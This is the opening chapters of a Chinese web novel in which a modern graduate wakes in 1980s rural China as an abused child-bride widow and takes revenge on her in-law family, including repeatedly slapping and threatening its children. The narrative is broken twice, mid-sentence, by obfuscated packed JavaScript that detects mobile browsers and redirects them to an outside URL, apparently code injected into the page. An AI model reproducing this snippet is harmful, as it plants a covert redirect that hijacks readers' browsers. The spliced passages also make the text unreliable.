《女大学生在八零》 1. 01 大学临近毕业,林苏棠起了个大早拍集体毕业照。昨晚修改简历一宿没睡,早餐吃不下,这会儿有气无力站在烈日底下。苏棠才摆出个笑脸,架着相机的摄影师就对准排好的队伍咔嚓一照。 目不转睛盯着镜头的苏棠被相机闪光晃了一下眼,突然大脑一片空白,四肢无力,身体支撑不住向后仰倒去。 “林苏棠,林苏棠......” “老师,老师,有人晕倒了,有人晕倒了!” “她是不是低血糖啊?” “......” 被簇拥着,周遭变得越来越嘈杂,苏棠两眼一翻,意识涣散,身体好像不属于自己。 风从四面八方浓绿的树荫里吹来,地下的影子被吹得摇摇晃晃,风里传来图书馆一楼考研学生背政治、英语的读书声。听久了便像一道道念咒般的催命符,沉重得让人崩溃。 大学里的现代化教育设施急剧褪色,换成了眼前的一副粘着大红“囍”字的长镜,苏棠呆木木地用手去揭,挡住她脸的“囍”字忽然碎成黑色纸屑,原先的地方呈现出一个大大的“丧”字。隐约可见镜子里的人鬓边别着一朵白布花,穿一身孝服。 耳边传来敲锣打鼓吹唢呐的声音,夹杂着女人哭天抢地的叫喊,吵得苏棠头昏脑涨,眼皮因沉重掀不开。 昏沉的小房间里,苏棠身体躺在一张破竹席上。头戴黑毡帽的老中医左手托着杆旱烟走进来,屁股矮一蹲儿伸出右手搭她的手脉。 “老孙头,人是不是死喽,不中喽?”旁边高胖黄脸皮的妇女两只小眼睛一闪,弓身凑过来。 脉象四平八稳,铿锵有力,妥妥一个大活人。 老孙头收回手,拧紧黑白相间的两道眉,扭头中气十足地说:“没死没死,是活人。” 黄脸皮妇女显然不满意这个结果,两手一拍巴掌,扯高嗓门儿喊:“你再看看!你再看看!啷个可以活,断气有好久了嘛,一看就是死人。” 可怜天下父母心,家里让童养媳和儿子圆房冲喜,苦命的儿没撑过洞房当晚就归西了,喜事变丧事。做婆婆的气不过,把儿媳妇往地上一推,不成想磕到了后脑勺当场就没气了。本指望生不能同寝,死了两人也凑一对黄泉鸳鸯,宝贝儿子在地下也不孤单了。 作法合冥婚的神婆早上被请家来,死的好好的新媳妇,经柳神婆手一摸,说摸出了气儿,老太婆死活不肯再继续!为了打消柳神婆的顾虑,这才请来了孙中医。 女人的质疑让孙中医感到无语,他猛吸了一口旱烟,但看在一角钱出诊费的份上,勉力憋着不快只好又搭了一回脉。 孙中医吸烟过肺,缓缓吐出烟,用沙哑的嗓子重复了一遍:“老头我行医几十年,活得就是活得,难道还能说成死的?” 烟雾缭绕,烟味飘到林苏棠的鼻腔,恍恍惚惚的林苏棠止不住咳嗽,盖在脸上的白布抖落下来,呼吸才畅快些。身下冰冰凉凉的硌骨头,她记得现在是夏天,怎么这么冷? 这梦也太扯了,脑海里的紧迫感催促她尽快醒过来,下午两点还有一场重要的校招面试! 考研落了榜,考公还没准备,考编书籍快递仍在路上,工作再没着落她就要毕业即失业,没有资产阶级的爹体制内的妈这片天还得她自己撑.....上不了的台面脱不下的长衫,操蛋的年龄二十三! 她这么年轻,哪睡得着啊。 她得起床继续卷生卷死。 努力一睁眼,好家伙差点没被吓尿!十几张面黄肌瘦的脸正对着她! 乌泱泱的陌生面孔,眼睛瞪得圆鼓鼓,清一色土旧穿搭。 ——怎么还没醒?苏棠照着自己的脸扇了一巴掌,差点没把自己扇懵,右颊火辣辣地疼。 苏棠心里咯噔一下,这不是梦境! 她重生进了寒假看过的一本三观不正的年代文里的寡妇,。 寡妇林苏棠是普世意义上的好女人——温婉贤淑,吃苦耐劳,任劳任怨,忠贞不渝,孝顺懂事,勇于牺牲,一辈子都在为别人而活。 家里穷得揭不开锅,奶奶把十岁的她卖到陈家当童养媳。不是家里没有其他姐姐妹妹,但因她说话磕巴,奶奶怕养大了不好嫁人,索性十五块钱早早卖了出去。 陈家大儿子患有瘫病,林苏棠帮着干农活做家务的同时,端屎端尿照料了七年。后来小丈夫病情恶化,家里催促圆房冲喜,老公当晚说巧不巧一命呜呼,她从此成了寡妇。婆婆怨她命硬克死了丈夫,她自己也常感自责。 全家人围桌上吃饭,她在旁边垂手肃立,一声不吭依照惯例等他们吃完再捡剩下的。 钱桂香第一个吃完,筷子往桌上一拍,训她的话:“你在家白吃了七年的饭,不是我们把你买来,你奶奶早把你溺死在尿桶里了,哪有你今天。我们救了你的命,你欠我们家的债,这辈子不还清,下辈子要投畜生胎!” 大儿子过世了,婆婆钱桂香还剩四个儿女,老二陈武年纪比林苏棠小一岁,老三老四陈杏陈苗是脚踩着肩膀下来的双胞胎,已十二岁了,老五陈天赐只有六岁,是家里的金疙瘩。 都说长嫂如母,老二陈武在校念书,林苏棠帮着钱桂香照顾底下的小叔子和小姑子,从没有半句怨言。直到老二考上了高中,家里要钱的地方更多了。农民地里刨食看天吃饭,钱桂香和陈有才夫妇俩买完化肥菜籽一年到头手里不剩钱,还欠下赊账。 为了补贴家用,十八岁的林苏棠跟着远房表哥上京市打工,但好点的厂子临时工招满了,稍微差点的也要花钱买进去。远房表哥只负责把人带到火车站,落地后其他一概不管。人生地不熟,苏棠到处找零工,舍不得房租只能睡牛棚睡天桥,拼了命的攒钱,牙缝里挤出十块二十块全往家里寄。隆冬腊月,她做帮佣给人洗衣服,生了满手红肿的冻疮,一到晚上又疼又痒。牛生来耕地,狗生来看家,做媳妇生来伺候人。 尽管满肚子苦水,也只得咽回去。她是没有家的人,娘家林家不要她,陈家就是她的第二个家,她打心眼里把陈家的小叔子和小姑子当成亲生弟弟妹妹看待,把陈家二老当作至亲。 小叔子陈武争气,考上了二本,成了村里的第一个大学生,陈家人喜出望外,扬言要把家里其他三个孩子全供成大学生。 上学钱从哪里来?当然全靠长嫂林苏棠打工赚钱。 眼看京市找不着挣钱的门路,她又跟着同村姑娘南下蛇口,批发些小商品倒卖,隔三差五碰到收保护费的地痞流氓,原本挣不多的钱全折进去了。身上没手艺,找工地干苦力活,包工头见是女人忙摆手不要,她哭着央求只要一半的工资,这才勉强留了下来。 钱桂香舍不得电话费,但每月月底会走二十里路去邮局打电话给林苏棠。 “苏棠啊,家里又没钱了,你以后每月多寄点,杏儿苗儿也要念高中了,天赐也要上小学了。都是一家人,你做大嫂的现在可别藏私,只等着以后罢,等他们都读出头了,分配个好工作,会念着你的好的。一家子全是大学生,说出去你也有面子不是?而且等你有困难了也能帮衬你一把。” 婆婆毕竟不是亲娘,打电话过来要钱,她还得努力做出个笑脸来,更遑论诉苦和埋怨。 上大学见过世面的陈武毕业后分配到了行政事业单位,后来升了科长。陈杏陈苗也都考上了二本,一个进了妇联工作,一个在医院上班,就连最不学无术的陈天赐也在陈武的安排下读了中专,毕业后走关系进了电网。 陈家的日子在村里一顶一的蒸蒸日上,连她偷偷接济的娘家,也出了个大学生。 无线电收音机里广播员说:“这是个梦想的时代,人人都憧憬未来,充满希望,满怀激情......” 迈进新时代,似乎人人都过上了好日子。 小叔子和小姑子相继在省城买了房,再也不用长嫂操心吃饭上学,每月还会往老家寄个几十一百,压在她肩上的担子总算可以卸下来了。但公婆老迈,身体不好,林苏棠只得待在陈家翻新的老宅子里,帮忙照顾公婆,操持家务下地干活。 一天她到河里清洗犁头,河面映出她的倒影——满脸皱纹,头发白了大半,看得她心惊肉跳,像是从来没认识过自己。她才四十岁呀!怎么一下子就老了。她头一回感到年华飞快的流逝。 以前她是村里最小的寡妇,经常被村里人把她同村里其他寡妇们放一起编排。寡妇要是改嫁,会被冠上“不正经”、“有伤风化”的名头,村里各种难听的话能在背后嚼好几年。天要下雨,娘要嫁人,也有不在乎名声的,早几年村里寡妇陆陆续续都再嫁了,有的在县里买了房,有的在市里买了房,最差的在镇上也盖了自建房。年轻的时候,不是没有男知青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055188|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢她,她怕落人话柄支支吾吾不敢答应。从昔日的小寡妇,熬成了村人口中的老寡妇。改嫁也好,不改嫁也好,唾沫星子总要往人脸上飞。那些夸过她的人,和议论过她的人,其实她早已记不住他们的脸。 此时距离公婆去世还有五年,她还得熬。 钱桂香夫妇俩逢人便把有出息的儿女们挂在嘴上。 “咱老陈家祖坟冒青烟,祖宗坐得高,让家里出了四个大学生!一个赛一个有出息。” “那时候苦的哟,三九天寒,河里冻得结冰有尺来厚,娃儿去学校一趟要走几十里地。我们斗大的字不认识,哪知道怎么教育娃儿,只晓得让他们吃饱穿暖点。我就告诉他们家里的活儿不用你们干,你们的手是写字的手,都给我读书。大学是那么容易考的么?是我家娃儿懂事肯努力,晓得要上进,不然哪能考上大学呀!” “要说命最苦的还是我家老大耀祖,年纪轻轻就没了,要是现在还活着,他也能沾沾兄弟姐妹们的光,享点福不是。现在的孩子们算是托生到了好时候啊,哪像我们那年代,过得叫什么日子。” “他们都讲要把我们两个老家伙接到省城住,专门请保姆照顾,我说那多费钱啊,我们不去,保姆毕竟是外人,哪像他大嫂知根知底的,人又细心。” 后来钱桂香夫妻俩过世,几个儿子女儿从省城陆续赶回来奔丧,个个光鲜亮丽,穿着体面,明明年龄相差不了几岁,林苏棠和他们站一块,却老得像差了一辈。 她和两个小姑子说想去城里盘个包子店做点小生意,她们劝她别折腾了,一把年纪了都老了,村里有合适的老鳏夫先嫁了,以后也有个互相照应的伴儿。城里东西样样都贵,光一个门面租下来都要好几百,花出去的钱比挣得还多,开包子店准赔本儿。 老五陈天赐听到也插了句嘴:“而且你没读过书,出们路都不知道往哪走,我们都是双职工家庭,谁有空管你呀。大嫂你这不是存心想给我们添麻烦吗。” 最后还是老二陈武帮她解决了问题。 “大嫂,你要是实在闲不住,不如上我哪儿去,我家保姆正好辞职了,你以后就在家帮我带带孩子,工钱我按月给你。” 林苏棠便跟着陈武上省城当保姆去了。刚开始并不顺利,陈武的三个孩子都很排斥这个乡下来的保姆,但林苏棠用自己的真心和爱收获了孩子们的喜欢。陈杏陈苗两姐妹也开始麻烦她接送孩子。长大后孩子们出国去很少回来,和她再没了联系。 六十岁的时候,她靠着当保姆攒下的钱开了家包子铺,在城里租了个单人间,每日起早贪黑卖包子。六十五岁时,早晨下楼梯突发脑溢血,摔了一跤后再没醒过来。火葬后,陈家老二出钱请同村人上城里把骨灰带回村埋了。她死的时候,陈家几个兄弟姐妹,没一个为她掉眼泪。 这个苦了一辈子的女人,老实了一辈子的女人,庸碌了一辈子的女人,终于走到了人生的尽头。 她来人间一趟,不留痕迹地活过。 - 第二天早上,林苏棠彻底清醒过来,只是后脑勺还有一点痛。她仔细擦干净脸,望着镜子里的一身素白,纤细脖颈上一张妖妖娆娆的瓜子脸,美艳不可方物。 她本人在二十一世纪也算个小美女,属于本本分分的类型。但镜子里这张脸跟妖精似的摄人魂魄,张扬放肆,与二十一世纪女大学生苏棠气质截然相反。唯一不足便是太瘦了,胳膊腿几乎有点瘦脱形了,双手也长满了茧。 苏棠对镜子眨巴眨巴眼,一双勾人魂儿的媚眼看狗都含情。 端详了一会儿自己,苏棠忍不住撩起孝服一摆,踮起只脚虚虚一踢,摆了个优雅的姿势,愉快地转了个圈,脸上露出陶醉的傻笑。真美啊,除了美一无是处。 女要俏先带孝。 这孝不是给别人戴的,是因那已下葬的亡夫。 林苏棠揉了揉疼痛肿胀的后脑勺,这个世界完整的记忆被拼凑的七七八八,原主生活在八零年代,和她同名同姓,是个结巴,今年十七岁。 啪! 大红蜡烛炸出灯花,苏棠正对着镜子嘟嘴买萌,房门被粗暴地踢开。 一个小男孩儿咋咋呼呼跨过门槛,往房间一跳,用蛮不讲理的语气说道:“哈,你这个懒虫,怎么还不起床做饭?我肚子饿了,饿死我了,哇哇哇。” 2. 02 林苏棠转过身,目光往下落在小孩儿脸上,认出这是陈家老小陈天赐,他今年六岁,是个皮肤偏黑吸着鼻涕泡的矮胖墩儿。 原主来陈家第二年,婆婆钱桂香生下了老五陈天赐,出了月子就下地干活去了,孩子丢在家里。原主林苏棠一把屎一把尿尽心尽力照料不满月的小叔子,出去捡牛粪打猪草就将他背在身后的竹篓里,不管去哪儿都抱出抱进,甚至比钱桂香这个亲妈都更有耐心哄他。陈天赐哭一声,林苏棠这个小大嫂都心疼地不得了。平日但凡能得到半点好吃的,她都献宝一样捧给他。如果说原主对家里其他人付出是因为被道德绑架被洗脑了,那他对陈天赐却是十分的真心。 原主心里明白陈家人待自己有差别,她把这些归结于自己不是出生就和他们长在一块儿。而陈天赐从落地就和她相处,她一直以为自己和这个小叔以后会是最亲近的一家人。她有个朴素的想法,那就是她待陈天赐好,陈天赐长大后就会在钱桂香面前说自己的好话,将来她在这个家也有自己的一席之地。 想到原主的结局,林苏棠心底就发笑。你以为你是他的家人,实际上你只是他的血包。把希望寄托在别人身上永远不会有出路,自己才是自己最忠实的伙伴。 林苏棠对这一幕剧情还记忆忧新: 老五陈天赐上完小学死活不肯读初中,瞒着家里偷偷跟同村人南下见世面,家里发现的时候他已经上了火车。接到钱桂香的电话后,林苏棠立马赶到车站接人,哪天她刚从工地下完工,脸上身上都是灰。急匆匆赶过去,站在车站外的陈天赐见到她第一句话就是:“大嫂,你这样子真丢人,也不知道收拾干净了再出来。” 她笑了笑,当作童言无忌。 “你、以后、好、好、学、习,考大、大学,别、像、我、一、样。” 她乐呵呵带陈天赐吃了碗热气腾腾的肉丝面,自己喝白水。晚上住的地方是个狭小的单间,上下床,她睡上铺,安排陈天赐睡下铺。陈天赐和她待到了过年,每天早上上工前林苏棠给他蒸好一个馒头一个鸡蛋,留三毛钱给他买午饭,晚上下工回来了在共用厨房的炉子上做一顿猪油炒白菜他吃。宁可自己节省点,也不能委屈了老五。 过年回村的时候,陈天赐对钱桂香说:“我再也不出去了,大嫂不让我住好房子,我想要好多好吃的她都不给我买,坏大嫂。” 她磕磕巴巴地傻笑:“我,我没...多...钱。”钱都省下来按月寄给家里了。 钱桂香搂住胖了好几斤的小儿子心肝宝贝地喊,转过脸晚上拿湿毛巾劈头盖脸抽了林苏棠一顿。 见苏棠半天不理自己,陈耀祖用握在手里的小木剑戳她小腿。之前他一发话,大嫂立刻就屁颠颠跑出去做饭,今天居然站着不动,他手中小木剑一下一下越戳越使劲儿。 “你偷懒,等妈回来了,我要告诉她去。” 林苏棠戏谑的目光转移到陈天赐手中的小木剑上,伸手一把夺过,用力折成两截,扔到地上狠狠踩几脚。 “凭什么给你做饭?你爹妈欠你的我可不欠你。” 林苏棠身上散发的陌生感让陈天赐不由后退两步,这个大嫂从不会用这样的眼神看自己。哪次见到他不是又亲又抱,弄得他满脸都是恶心的口水,今天怎么像变了一个人。 他的宝贝小木剑折断了!陈天赐惊得睁大眼,嘴巴张成O型,眼眶蓄着一泡泪。大嫂变得完全不像大嫂了。 “臭大嫂,我要告诉我妈让她打死你。我的剑......你赔我的剑,我要妈,我要妈......”陈天赐扁扁嘴,哭得鼻涕冒泡,往地上一坐开始撒泼耍赖。 百试百灵的一招,今天好像不奏效了。 “剑什么剑?我看你就是贱得!” 陈天赐一听这不耐烦的吼声,立刻收敛了熊孩子的本性,换成小声抽泣。 “呜呜呜,大嫂坏,坏大嫂,大嫂凶我......” “让你妈打死我是吧?我今天先打死你个小王八蛋!别以为你妈护着你,我就不敢动你。” 不等陈天赐话说完,苏棠恶狠狠拎起他后领子把人拎站起来,抬手一巴掌,拍在陈天赐后脑勺,蹦地一声响。 “你敢打我,呜,呜,呜......”陈天赐哭一声,林苏棠就扇一下他后脑勺,把这个光溜溜的葫芦头当皮球拍。 大嫂一直不打他的,今天怎么逮住他就打,他都被打懵了,他只是想吃东西而已啊。 “哭,你再哭,哭大声点,声音小了,大声点!” 陈天赐按照指示哭得很大声,越哭越大声,但是大嫂下手也越重了。最后他哭着哭着哭出了一段Bbox。 林苏棠眼睛一瞪,手拍疼了才放过他:“以后再来找我给你做饭,我把你丢大锅里煮了,然后拿去喂野狗。” 林苏棠之前看电视的时候就手痒想抽这小白眼狼,现在也算得偿所愿。 “呜呜呜。”陈天赐抱着脑袋跑,连妈都不舍得打他,今天突然平白无故挨了这么多下,他太委屈了。 他刚跑出去两步,林苏棠长臂一捞,把人捞了回来,阴恻恻在他耳边说:“不许告状,你要是敢说出去,我会晚上趁你睡觉偷偷把你扔茅坑里喂屎。” 陈天赐扁扁嘴想哭,但又怕后脑勺保不住,只得用力眨眨眼点头答应。 六月农忙时节,村里家家户户忙着收割水稻,掰玉米,陈家几口人都在田地里忙活,苏棠因为被推倒撞到了头而昏睡不醒,早上钱桂香怎么叫都叫不醒人,只好作罢。中途派老四陈苗回家一趟,原是怕陈天赐睡醒了没人做饭饿着了,顺便再看看林苏棠醒没醒,醒了就喊她背着天赐上地里干活。 老四陈苗老远听到弟弟的哭声,急忙跑回家,看到林苏棠在屋里打弟弟吓得没敢进去,躲在墙角偷听。这一听不得了,发现了惊天大秘密。之前妈还总和她说大嫂是外人,让她和姐姐在家多看着点弟弟,别让大嫂欺负了去。 她一直以为大嫂对弟弟很好,出出进进都带着弟弟,没想到趁家里一没人,大嫂就偷偷打起人来。原来平时对他们兄弟姐妹好都是装给妈看的,外人就是外人。这还是她头一回见到大嫂打弟弟,以往背着人的时候不知道打了多少次。 收拾完陈天赐,又让苏棠发现了躲着听墙角的陈苗,她快步走出去,抓起她的小辫子将人薅去灶房:“死丫头,不学好,小小年纪还学会偷听墙角了?去打点水来,然后把烧火了。”要她重蹈原主覆辙给这群白眼狼当吸血包?不存在的,她给他们当恶毒“后妈”还差不多。 陈苗的头皮都被扯痛了,眼圈立刻红了,什么死丫头,大嫂一直都喊自己苗苗、小苗的呀。她嗫嚅道:“大嫂,你弄疼我了。” 家里一日三餐全归大嫂管,她在家从不用做饭,怎么今天还要她烧火了呢。而且大嫂从来都不会打她,今天打弟弟就算了,怎么连她也打上了,她到底做错了什么呀? 躲在一旁的陈天赐看着四姐被揪住的两根小辫子,顿时觉得后脑壳开始疼起来,就让大嫂打四姐去,只要不打自己就好。 陈苗按照指示从水缸里舀起一瓢水,突然停止动作,把水瓢往缸里一扔,自己凭什么要听她的话。而且自己又没惹她,她凭什么打自己。别以为她怕她。 陈苗嘴一撅,转头对上苏棠冰冷的脸,壮起胆子瞪回去:“大嫂,你是不是撞坏了脑子?”大嫂一定是脑子坏了,不然怎么会突然像变了一个人,而且说话也不结巴了。 苏棠把脸一沉:“你个猪脑瓜,说谁脑子坏了啊?” “平时这些都是你的活儿,凭什么今天支使我来了。”陈苗心里有点犯怵,以往大嫂见了谁脸上都挂满傻笑,今天不知为何突然冷了脸。 苏棠两手抱着胳膊,眼眸微眯盯住她,陈天赐年纪小养不熟就算了,陈苗都到了上初中的年纪,还不懂事那就说不过去了。要知道原主十岁就被买到陈家,一个人能干半个大人的活儿。 本来还考虑到女人何苦为难女人,但一想到原剧情里陈家小姑子靠着吸原主的血考上了大学,不仅没有半分感恩之心,在原主死后还提议把原主从陈家族谱中除名,理由是封建包办婚姻侮辱了陈家读书人的门面。陈杏和陈苗作为女孩儿,能在这个年代的农村做到十指不沾阳春水,还顺利考上大学,当然要归结于原主林苏棠替她们负重前行。可她们考上大学分配工作后,原主说想进城开一间包子铺,这俩人不但不帮衬,还叫她找个老鳏夫嫁了。她们不是冷血,而是压根儿没把她当人看。 苏棠不由得血压升高,抬手就是一巴掌。 “死丫头,不会说话就把嘴缝上。” 陈苗捂住脸,两行泪从眼睛流出,不可置信地仰头看着大嫂。 从大嫂到家来的哪天起,她连她的头发丝都没碰过,今天居然拿大巴掌扇他脸? 妈可以打她,爸可以打她,但大嫂一个外人怎么敢打她? “看什么看,赶紧打水!小心我再抽你。”苏棠不信使唤不动她,扬起手准备再打。 “你是什么大嫂,只会打人的大嫂,我以后再也不认你这个大嫂了,你自己的事情自己不会做吗?”陈苗简直恨死这个大嫂了,往日她就不怕她,难道今日还怕了她不成。 “啪!”林苏棠又是一巴掌扇在她脸上,什么叫她自己的事? “我让你闭嘴,干活!” 苏棠打了她并不觉得愧疚,这都是她应得的。 陈苗两边脸肿的小山高,又怕再挨巴掌,只好哭着再次拿起瓢舀水。 “去把水烧开。”苏棠又说。 陈苗被打得不敢说话,气鼓鼓地去灶里烧火,边往里扔柴段边抽泣。 林苏棠懒得理会她的哭声,从柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055189|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里拿出两个鸡蛋和一个玉米棒子,洗干净放锅里煮。 陈苗偷偷用余光瞥了一眼苏棠,脸上火辣辣地疼,想阻拦却欲言又止。家里鸡蛋都是有数的,哥哥和弟弟两人每天各吃一个,她和姐姐陈杏也只有过时过节才能吃鸡蛋。林苏棠胆子肥了还敢一顿吃两个,等妈回来少不了她一顿好打,到时自己就有好戏看了。 “死丫头,你怎么烧火的,水怎么还没烧开。”苏棠又是一吼,吓得陈苗一哆嗦。 “在烧了,在烧了。” 陈苗看起来弱弱小小的,平时话不多,实际上心里主意多还很鸡贼。刚才被扇了两巴掌所以不敢贸然反抗,她低头一个劲儿往里面添柴,装作很听话的样子,想着等下在钱桂香面前怎样告状好把林苏棠打她的两巴掌还回去。但她平时很少进灶房,生火技巧并不熟练,一会儿弄得灶房里全是烟。 林苏棠被呛得咳嗽,抬手在陈苗后脑勺一拍:“蠢东西,你想呛死我啊?不知道等火烧旺了再添柴吗?”虽然是二十一世纪的大学生,但她保留有原主的记忆,所以现在对做家务这事儿门清。 经过女大学生林苏棠有模有样的指点下,陈苗总算把水烧开了,她都要被吼懵了。 估摸着锅里的东西熟了,林苏棠揭开锅盖,玉米香气从灶房飘出来,苏棠用锅铲把玉米和鸡蛋铲在碗里,端桌上放凉了吃。 躲在屋里的陈天赐饿了一早上,闻到香味却不敢出来,家里的鸡蛋一直是给他吃的,现在却被大嫂吃进肚子里了,真是气死他了。陈天赐从堂屋绕过去,走到四姐陈苗面前:“四姐,我饿了。” 陈苗正用毛巾蘸着冷水,拧干后敷脸,她现在觉得不光脸疼,后脑勺也嗡嗡作响,今天真是倒大霉了,还以为从地里回来能偷会儿懒呢,没想到刚到家就挨了一顿打。这会儿见到弟弟陈天赐,简直气不打一处来,但毕竟是亲弟弟,连爸妈平时都宠着宝贝似的捧在手心,她更不敢拿他撒气,只好瓮声瓮气地答:“等着,姐去给你做。” 陈苗往锅里舀了两瓢水,学着林苏棠的样子放进去两个鸡蛋一个玉米,刚才的火星子还没灭,她往灶口塞了一把麦杆儿,闷出一阵白烟后,火苗蹿的一下点燃了,她心不在焉地把木柴丢进去。满脑子都是今天大嫂用大巴掌打她的样子,越想越气,鼻尖和眼眶都哭得红通通。 锅水刚烧开的时候,陈天赐过来催:“姐,我要吃,我饿了。” “就好了,就好了。”陈苗还生着闷气,说着站起来,也不管东西熟没熟,揭开锅盖,霹雳乓啷铁铲碰铁锅,把鸡蛋玉米囫囵盛出来往大碗上一盖。 “拿去吃。”陈苗把碗送到陈天赐面前。 陈天赐不拿碗,只用两手抓鸡蛋。 “嘶!”刚出锅的鸡蛋烫的不行,陈天赐没拿稳,两个鸡蛋全落地上了。以往林苏棠哪会让他烫到,都是拿到井水边冲凉了再给陈天赐。 陈苗只听到一个闷声,鸡蛋壳摔出了裂痕,因为没煮熟,浓稠的蛋白和黄色的蛋液冒出来,淌到泥巴地上。 “鸡蛋,鸡蛋......”陈天赐张嘴大哭大叫,两只手烫得通红,肚子饿的咕咕叫。 弟弟的哭声让陈苗更加心烦气闷,她也不知道要拿地上的鸡蛋怎么办了。 碰巧这时钱桂香回来了,看到地上摔得稀巴烂的鸡蛋,心疼地要命,一巴掌甩在陈苗脸上:“你这个败家玩意儿,我都舍不得吃的东西,你还打碎了放地上玩儿。” 钱桂香把老五搂在怀里哄,她早上走的急忘了拿铁锹,要不是抽空回来拿,还不知道家里的宝贝疙瘩哭了。 陈苗又挨了一巴掌,此刻再也忍不住放声大哭,都怪大嫂今天突然发疯,不然她也不会挨那么多打。 陈天赐哭着把两只小手伸到钱桂香面前:“姐姐烫我手,哇哇哇。” 钱桂香看到儿子的两只手都通红,心疼地放在嘴边吹了好一阵,哄好了儿子又凶起一张脸道:“你这黑心烂肺的,亏你还是当姐姐的人,我知道你就是看不惯我疼你弟弟,所以你心里憋着坏,趁我不在就害他,他要真有了好歹,你瞧我饶不饶你!讨债鬼,哭什么哭,平时打你也没见你哭成这样,今天装模做样的给谁看!田里正缺人手呢,快滚去插秧,别在我面前现眼。” 陈苗放下碗,哭着跑了出去,准备好的告状说辞也不打算说了,等妈哪天也上了大嫂的当她就知道厉害了!到时候别怪自己没提醒她。 陈苗走后,钱桂香替陈天赐擦完鼻涕,牵着他走进屋,从抽屉里拿出一块鸡蛋糕放陈天赐手上。然后朝林苏棠的房间嫌弃地呵斥:“你个挺死尸的,也不知道照顾好天赐,没死就赶紧爬起来干活,你看看家里都乱成了什么样子,早上让你睡了一早上,睡得没完没了还。你又不是金子做的,不过撞了一下头,难不成还让我这个做婆婆的伺候你?谁家做媳妇的像你这样懒?” 3. 03 钱桂香的嗓门是经年累月练出来的,嗓音粗粝,喊得十里八乡都像发了地震一样。 换作原主,听了只有捂脸哭的份儿。 但林苏棠对这声音不屑一顾,吃完饭后继续躺在床上闭目养神,稳如入定老僧。身处八十年代,不像二十一世纪,她少了很多精神压力。尤其是来到现在这个鸟地方,苏棠精神状态更稳定了,有种淡淡的死感。她也不知道怎么就来到这儿了,也许是老天爷在玩儿她。当在脑海回顾完整部剧的剧情后,她意识到这个家不能待,待久了人肯定要得神经。 钱桂香语调继续上扬,还没骂个痛快,陈家下地干活的人都回来吃午饭了。 陈武和陈杏在井边打水洗手,陈苗一个人鼓着腮帮子落在最后头,累了一上午的陈有才先进院子放下背篓,往吃饭桌上一看,焦黄的苦脸立刻拉下来,大手向桌上拍:“孩儿他娘,饭呢,你回来忙活半天还没做饭?!” “来了来了,饭在锅里,马上就好。” 钱桂香一听家里男人发话了,气焰立刻矮下去,夹着尾巴灰溜溜去了灶房做饭。路过窗户的时候,往里面啐了一口:“待会儿再收拾你!”她就不信这天还能反过来。 以往一家子的饭都归林苏棠做,现在林苏棠不动弹了,钱桂香只好自己动手。 她从米缸舀出米,吩咐道:“老三,你去把豆角断了,菜洗了。老四,你烧火去。老二你回房歇着,饭熟了妈叫你,过阵子就开学了,你可要留着身体好好学习。” 陈苗不情不愿地去灶边烧火了,陈杏却磨磨蹭蹭不动。 “妈,我累了,你叫大嫂来干。”在田里插秧累了一上午,陈杏只想回床上躺直腰板歇一会儿。再说平时这些杂事都归大嫂包了,有自己什么事儿啊,干嘛要喊她去。 钱桂香淘好米,加水放锣罐里煮,听到陈杏的抱怨,拿出豆角往她面前一丢:“你这懒骨头,一天到晚就你屁事多,就你累,赶紧手脚麻利点,老娘还等着菜下锅!” 陈杏被骂的默不作声,搬起小板凳择豆角。她就想去床上躺一会儿有什么错,都怪大嫂今天不做饭,她要是提前把饭做好了,就不会有现在的破事。 不一会儿灶房里传来钱桂香的骂声:“你是死的啊,烧个火弄出这么大烟,你要呛死你娘啊?” 钱桂香本就重男轻女,但平日有苏棠打头阵,她对自己的两个女儿并不用操多大心。这会儿管不了苏棠,气性全撒在了两个女儿身上。 钱桂香在灶房里骂人,陈天赐坐在门口慢悠悠地啃玉米,啃到一半忽然想起来要告状,站起来屁颠屁颠跑去灶房,将自己的小木剑如何被踩断,如何又挨了打,一五一十抖了出来。 钱桂香一听,忙放下锅铲,喊正在烧火的陈苗:“四丫头,你来炒菜。” 在一旁竖起耳朵听的陈苗嘴角一弯,接过锅铲,有模有样地翻炒起锅里的玉米粒炒腊肉片。妈从前也没少打大嫂,但没有哪次像今天一样让她心里这么舒坦。 钱桂香心疼地俯下身双手在陈天赐光溜溜的葫芦头上摸了又摸,更加火冒三丈。 “你打我儿子,你敢打我儿子?天天在家吃白食,吃出一身坏肉。” 林苏棠居然敢打她的宝贝金疙瘩!刚才她就憋着一口气,这会儿再也憋不住了。 这都日上三竿,太阳晒屁股腚了,儿媳妇还在床上挺尸,钱桂香来势汹汹一脚踢开门。 “别装死,昨天是看家里人多,才把你抬到老大房里,从现在起你给我滚去!” 钱桂香一面说一面抄起手边的鸡毛毯子往床上招呼。 这陈年老木床硬得像块铁,比她大学宿舍的床还硬。苏棠有点认床,睡一会儿就醒了,这会子眼睛瞪得像铜铃。鸡毛毯子刚一招呼,苏棠立刻向婆婆钱桂香展示了惊人的弹跳力——从床上弹起,准确无误地落到地上,然后拔腿夺门而出。 好险挨打,论睡觉锁门的重要性。 “哎哎哎?还敢跑!看我今天不打死你!!” “哎哎哎!我不要!你都要打死我了,傻子才不跑!”苏棠做个鬼脸,脚下一发力,跑得更快了。 钱桂香挥舞着鸡毛毯子在后面追,苏棠在前面跑,二人围着院子转圈。 